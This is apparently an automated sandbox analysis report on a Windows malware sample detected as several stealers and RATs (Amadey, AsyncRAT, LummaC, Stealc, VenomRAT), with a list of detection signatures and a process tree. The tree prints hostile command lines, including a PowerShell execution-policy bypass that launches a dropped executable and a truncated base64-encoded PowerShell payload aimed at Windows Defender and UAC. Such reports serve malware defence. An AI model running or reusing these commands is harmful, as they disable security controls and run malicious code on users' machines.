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Windows
Analysis Report
file.exe
Overview
General Information
Detection
Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, Stealc, StormKitty, VenomRAT
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus / Scanner detection for submitted sample
Antivirus detection for URL or domain
Detected unpacking (changes PE section rights)
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Sigma detected: Capture Wi-Fi password
Suricata IDS alerts for network traffic
Yara detected Amadeys stealer DLL
Yara detected AntiVM3
Yara detected AsyncRAT
Yara detected BrowserPasswordDump
Yara detected Credential Flusher
Yara detected Discord Recon
Yara detected LummaC Stealer
Yara detected Powershell download and execute
Yara detected Stealc
Yara detected StormKitty Stealer
Yara detected VenomRAT
.NET source code contains potential unpacker
.NET source code references suspicious native API functions
AI detected suspicious sample
Binary is likely a compiled AutoIt script file
Bypasses PowerShell execution policy
C2 URLs / IPs found in malware configuration
Check if machine is in data center or colocation facility
Contains functionality to log keystrokes (.Net Source)
Creates multiple autostart registry keys
Disable UAC(promptonsecuredesktop)
Disable Windows Defender real time protection (registry)
Disables UAC (registry)
Encrypted powershell cmdline option found
Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Injects a PE file into a foreign processes
Machine Learning detection for sample
Modifies existing user documents (likely ransomware behavior)
PE file contains section with special chars
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: Suspicious Windows Service Tampering
Suspicious powershell command line found
Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to detect sandboxes and other dynamic analysis tools (window names)
Tries to detect virtualization through RDTSC time measurements
Tries to evade debugger and weak emulator (self modifying code)
Tries to harvest and steal WLAN passwords
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses netsh to modify the Windows network and firewall settings
Uses whoami command line tool to query computer and username
Writes to foreign memory regions
AV process strings found (often used to terminate AV products)
Allocates memory with a write watch (potentially for evading sandboxes)
Checks for debuggers (devices)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Checks if the current process is being debugged
Connects to many different domains
Contains capabilities to detect virtual machines
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to call native functions
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Creates job files (autostart)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Entry point lies outside standard sections
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
One or more processes crash
PE file contains an invalid checksum
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Execution of Powershell with Base64
Stores large binary data to the registry
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses taskkill to terminate processes
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
- file.exe (PID: 3172 cmdline:
"C:\Users\ user\Deskt op\file.ex e" MD5: 9ABA31B7A6B0D1AFA4B290557AD5B6FB) - skotes.exe (PID: 6540 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\abc3bc 1985\skote s.exe" MD5: 9ABA31B7A6B0D1AFA4B290557AD5B6FB)
- skotes.exe (PID: 6592 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\abc3bc1 985\skotes .exe MD5: 9ABA31B7A6B0D1AFA4B290557AD5B6FB)
- skotes.exe (PID: 1708 cmdline:
C:\Users\u ser\AppDat a\Local\Te mp\abc3bc1 985\skotes .exe MD5: 9ABA31B7A6B0D1AFA4B290557AD5B6FB) - H3tyh96.exe (PID: 6728 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\101367 5001\H3tyh 96.exe" MD5: 40F8C17C136D4DC83B130C9467CF6DCC) - RegSvcs.exe (PID: 7040 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Reg Svcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94) - WerFault.exe (PID: 6628 cmdline:
C:\Windows \SysWOW64\ WerFault.e xe -u -p 7 040 -s 100 8 MD5: C31336C1EFC2CCB44B4326EA793040F2) - cmd.exe (PID: 1856 cmdline:
"C:\Window s\System32 \cmd.exe" /c start / b powershe ll Executi onPolicy B ypass Star t-Process -FilePath '"C:\Users \user\AppD ata\Local\ Temp\Clien tAny.exe"' & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 2696 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 2928 cmdline:
powershell Executio nPolicy By pass Start -Process - FilePath ' "C:\Users\ user\AppDa ta\Local\T emp\Client Any.exe"' MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - ClientAny.exe (PID: 7160 cmdline:
"C:\Users\ user\AppDa ta\Local\T emp\Client Any.exe" MD5: 958CFC3E7730A66A05D6B8A49CE13D63) - WerFault.exe (PID: 6560 cmdline:
C:\Windows \system32\ WerFault.e xe -u -p 7 160 -s 996 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0) - powershell.exe (PID: 6976 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -enc QAAoA GUAYwBoAG8 AIABvAGYAZ gAlACkAWwA xAF0ADQAKA HMAcAAgACc ASABLAEMAV QA6AFwAVgB vAGwAYQB0A GkAbABlACA ARQBuAHYAa QByAG8AbgB tAGUAbgB0A CcAIAAnAFQ AbwBnAGcAb ABlAEQAZQB mAGUAbgBkA GUAcgAnACA AQAAnAA0AC gBpAGYAIAA oACQAKABzA GMALgBlAHg AZQAgAHEAY wAgAHcAaQB uAGQAZQBmA GUAbgBkACk AIAAtAGwAa QBrAGUAIAA nACoAVABPA EcARwBMAEU AKgAnACkAI AB7ACQAVAB PAEcARwBMA EUAPQA3ADs AJABLAEUAR QBQAD0ANgA 7ACQAQQA9A CcARQBuAGE AYgBsAGUAJ wA7ACQAUwA 9ACcATwBGA EYAJwB9AGU AbABzAGUAe wAkAFQATwB HAEcATABFA D0ANgA7ACQ ASwBFAEUAU AA9ADcAOwA kAEEAPQAnA EQAaQBzAGE AYgBsAGUAJ wA7ACQAUwA 9ACcATwBOA CcAfQANAAo ADQAKAGkAZ gAgACgAJAB lAG4AdgA6A DEAIAAtAG4 AZQAgADYAI AAtAGEAbgB kACAAJABlA G4AdgA6ADE AIAAtAG4AZ QAgADcAKQA gAHsAIAAkA GUAbgB2ADo AMQA9ACQAV ABPAEcARwB MAEUAIAB9A A0ACgANAAo AcwB0AGEAc gB0ACAAYwB tAGQAIAAtA GEAcgBnAHM AIAAnAC8AZ AAvAHIAIAB TAGUAYwB1A HIAaQB0AHk ASABlAGEAb AB0AGgAUwB 5AHMAdAByA GEAeQAgACY AIAAiACUAU AByAG8AZwB yAGEAbQBGA GkAbABlAHM AJQBcAFcAa QBuAGQAbwB 3AHMAIABEA GUAZgBlAG4 AZABlAHIAX ABNAFMAQQB TAEMAdQBpA EwALgBlAHg AZQAiACcAI AAtAHcAaQB uACAAMQANA AoADQAKACQ AbgBvAHQAa QBmAD0AJwB IAEsAQwBVA DoAXABTAE8 ARgBUAFcAQ QBSAEUAXAB NAGkAYwByA G8AcwBvAGY AdABcAFcAa QBuAGQAbwB 3AHMAXABDA HUAcgByAGU AbgB0AFYAZ QByAHMAaQB vAG4AXABOA G8AdABpAGY AaQBjAGEAd ABpAG8AbgB zAFwAUwBlA HQAdABpAG4 AZwBzAFwAV wBpAG4AZAB vAHcAcwAuA FMAeQBzAHQ AZQBtAFQAb wBhAHMAdAA uAFMAZQBjA HUAcgBpAHQ AeQBBAG4AZ ABNAGEAaQB uAHQAZQBuA GEAbgBjAGU AJwANAAoAb gBpACAAJAB uAG8AdABpA GYAIAAtAGU AYQAgADAAf ABvAHUAdAA tAG4AdQBsA GwAOwAgAHI AaQAgACQAb gBvAHQAaQB mAC4AcgBlA HAAbABhAGM AZQAoACcAU wBlAHQAdAB pAG4AZwBzA CcALAAnAEM AdQByAHIAZ QBuAHQAJwA pACAALQBSA GUAYwB1AHI AcwBlACAAL QBGAG8AcgB jAGUAIAAtA GUAYQAgADA ADQAKAHMAc AAgACQAbgB vAHQAaQBmA CAARQBuAGE AYgBsAGUAZ AAgADAAIAA tAFQAeQBwA GUAIABEAHc AbwByAGQAI AAtAEYAbwB yAGMAZQAgA C0AZQBhACA AMAA7ACAAa QBmACAAKAA kAFQATwBHA EcATABFACA ALQBlAHEAI AA3ACkAIAB 7AHIAcAAgA CQAbgBvAHQ AaQBmACAAR QBuAGEAYgB sAGUAZAAgA C0ARgBvAHI AYwBlACAAL QBlAGEAIAA wAH0ADQAKA A0ACgAkAHQ AcwA9AE4AZ QB3AC0ATwB iAGoAZQBjA HQAIAAtAEM AbwBtAE8AY gBqAGUAYwB 0ACAAJwBTA GMAaABlAGQ AdQBsAGUAL gBTAGUAcgB 2AGkAYwBlA CcAOwAgACQ AdABzAC4AQ wBvAG4AbgB lAGMAdAAoA CkAOwAgACQ AYgBhAGYAZ gBsAGkAbgB nAD0AJAB0A HMALgBHAGU AdABGAG8Ab ABkAGUAcgA oACcAXABNA GkAYwByAG8 AcwBvAGYAd ABcAFcAaQB uAGQAbwB3A HMAXABEAGk AcwBrAEMAb ABlAGEAbgB 1AHAAJwApA A0ACgAkAGI AcABhAHMAc wA9ACQAYgB hAGYAZgBsA GkAbgBnAC4 ARwBlAHQAV ABhAHMAawA oACcAUwBpA GwAZQBuAHQ AQwBsAGUAY QBuAHUAcAA nACkAOwAgA CQAZgBsAGE AdwA9ACQAY gBwAGEAcwB zAC4ARABlA GYAaQBuAGk AdABpAG8Ab gANAAoADQA KACQAdQA9A DAAOwAkAHc APQB3AGgAb wBhAG0AaQA gAC8AZwByA G8AdQBwAHM AOwBpAGYAK AAkAHcALQB